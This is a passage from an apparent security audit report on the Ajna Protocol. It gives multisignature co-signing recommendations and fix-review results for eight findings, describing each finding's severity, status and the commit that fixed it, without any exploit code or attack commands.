held by third-party custodians (e.g., a bank), multiple keys should not be stored with the same custodian. (Doing so would violate requirement #1.) 3. The person asked to provide the second and final signature on a transaction (i.e., the co-signer) ought to refer to a pre-established policy specifying the conditions for approving the transaction by signing it with his or her key. 4. The co-signer also ought to verify that the half-signed transaction was generated willingly by the intended holder of the first signature's key. Requirement #3 prevents the co-signer from becoming merely a "deputy" acting on behalf of the first signer (forfeiting the decision-making responsibility to the first signer and defeating the security model). If the co-signer can refuse to approve the transaction for any reason, the due-diligence conditions for approval may be unclear. That is why a policy for validating transactions is needed. A verification policy could include the following: • A protocol for handling a request to co-sign a transaction (e.g., a half-signed transaction will be accepted only via an approved channel) • A whitelist of specific Ethereum addresses allowed to be the payee of a transaction • A limit on the amount of funds spent in a single transaction, or in a single day HashEye 61 Ajna Protocol Security Assessment PUBLIC

Requirement #4 mitigates the risks associated with a single stolen key. For example, say that an attacker somehow acquired the unlocked Ledger Nano S of one of the signatories. A voice call from the co-signer to the initiating signatory to confirm the transaction would reveal that the key had been stolen and that the transaction should not be co-signed. If the signatory were under an active threat of violence, he or she could use a "duress code" (a code word, a phrase, or another signal agreed upon in advance) to covertly alert the others that the transaction had not been initiated willingly, without alerting the attacker. HashEye 62 Ajna Protocol Security Assessment PUBLIC

L. Fix Review Results When undertaking a fix review, HashEye reviews the fixes implemented for issues identified in the original report. This work involves a review of specific areas of the source code and system configuration, not comprehensive analysis of the system. From April 10 to April 14, 2023, HashEye reviewed the fixes and mitigations implemented by the Ajna Labs team for the issues identified in this report. We reviewed each fix to determine its effectiveness in resolving the associated issue. In summary, of the eight issues described in this report, Ajna Labs has resolved five, has partially resolved one, and has not resolved the remaining two. For additional information, refer to the Detailed Fix Review Results below.

ID	Title	Severity	Status
1	Solidity compiler optimizations can be problematic	Undetermined	Unresolved
2	findIndexAndSumOfSums ignores global scalar	Informational	Unresolved
3	Incorrect inflator arithmetic in view functions	Low	Resolved
4	Interest rates can become extreme, allowing denial-of-service attacks	Medium	Resolved
5	Use of older versions of external libraries	Informational	Partially resolved
6	Extraordinary proposal can be used to steal extraordinary amounts of AJNA	High	Resolved
7	findMechanismOfProposal could shadow an extraordinary proposal	Low	Resolved
8	Missing checks of array lengths in LP allowance update functions	Low	Resolved

HashEye 63 Ajna Protocol Security Assessment PUBLIC

Detailed Fix Review Results

TOB-AJNA-1: Solidity compiler optimizations can be problematic Unresolved. The client provided the following context for this finding's fix status: Won't take any action. Cannot be done for ecosystem contracts (exceeds limit). Cannot be done for contracts repo (exceeds spurious dragon limit). TOB-AJNA-2: findIndexAndSumOfSums ignores global scalar Unresolved. The client provided the following context for this finding's fix status: Won't take any action. Not an issue with current implementation but only if Deposits library will be used differently in other contracts. Although we did not identify any concrete problems caused by this issue, its presence introduces an implicit requirement that the global scalar of the Fenwick tree is never updated from its default value. In general, we recommend making implicit security considerations explicit; this might involve adding tests that ensure the global scalar is never updated, along with code comments in the Deposits library to inform future maintainers and auditors that this divergence from the specification is expected and should be preserved. TOB-AJNA-3: Incorrect inflator arithmetic in view functions Resolved in commit 2f00a00 . The extra multiplication of the HTP value with the inflator value has been removed from the htp and poolPricesInfo external view methods, as recommended. This commit also features updates to test constants to account for the corrected htp values, as well as the renaming of inflatorSnapshot and other related variables to just inflator, improving the code's readability. TOB-AJNA-4: Interest rates can become extreme, allowing denial-of-service attacks Resolved in commit ed92e49 . A new logic branch has been added to the updateInterestState method of the PoolCommons library. Before the interest rate is updated every 12 hours, this new check will reset the interest rate to 10% if and only if both of the following conditions apply: • The interest rate is already greater than 10%. • The debt EMA is less than 5% of the meaningful deposit EMA. The net result is that, under conditions of high interest rates and low debt, the system has a way to reset and reestablish interest rates that are more likely to ensure the continued health of the pool. The use of a percent threshold rather than an absolute threshold will help ensure that no user can unilaterally

proportionate to that of the rest of the pool. Although the 5% threshold is an arbitrary, hard-coded constant, this value attempts to strike a balance between allowing the Ajna team to react to extreme situations in a timely manner and avoiding interest rate resets while the pool is still supporting a healthy amount of activity. The client provided the following context in support of this value: if less than 5% of the meaningful deposits are lent out there's not enough information in the pool to change rates based on the internal feedback loop. Note that this fix does not apply to the reverse situation. If interest rates fall far below 1%, then there is not a quick way to reset them back toward the initial 1% to 10% window. This is a reasonable design decision because as interest rates drop toward the 10 basis-point minimum, borrowers are not deterred from creating new debt and pool activity is not inhibited, as they would be under very high interest rates. TOB-AJNA-5: Use of older versions of external libraries Partially resolved in commit 0889a4c . The openzeppelin-contracts dependency was upgraded to version 4.8.2, which is the latest version of this library, partially resolving the issue. The Ajna pool system is still uses PRBMaths version 2.4.3 while the latest version of this library is 3.3.2; the client provided the following context for this finding's partial fix: Only OZ library updated to 4.8.2 in contracts repo. PRBMaths library not updated as it requires changing code. TOB-AJNA-6: Extraordinary proposal can be used to steal extraordinary amounts of AJNA Resolved in commit d4749c5 . This commit introduces a new unit test that reproduces the original issue and passes when it is fixed. The voting address was removed from the parameters passed to the voteExtraordinary method in both the implementation and interface. The _extraordinaryFundingVote internal helper method was merged into the voteExtraordinary method, and msg.sender is now used as the voting address, resolving the issue. TOB-AJNA-7: findMechanismOfProposal could shadow an extraordinary proposal Resolved in commit 106b423 . Additional constants that are unique to the standard and extraordinary funding mechanisms were added to the proposal ID hashes. This effectively prevents hash collisions between otherwise identical standard and extraordinary funding proposals and resolves the issue of shadowing within the findMechanismOfProposal method. TOB-AJNA-8: Missing checks of array lengths in LP allowance update functions Resolved in commit 2d869f2 . A new InvalidAllowancesInput error was added; it is thrown by the increaseLPsAllowance and decreaseLPsAllowance methods when the input indexes_ and amounts_ arrays do not have equal lengths, resolving the issue. HashEye 65 Ajna Protocol Security Assessment PUBLIC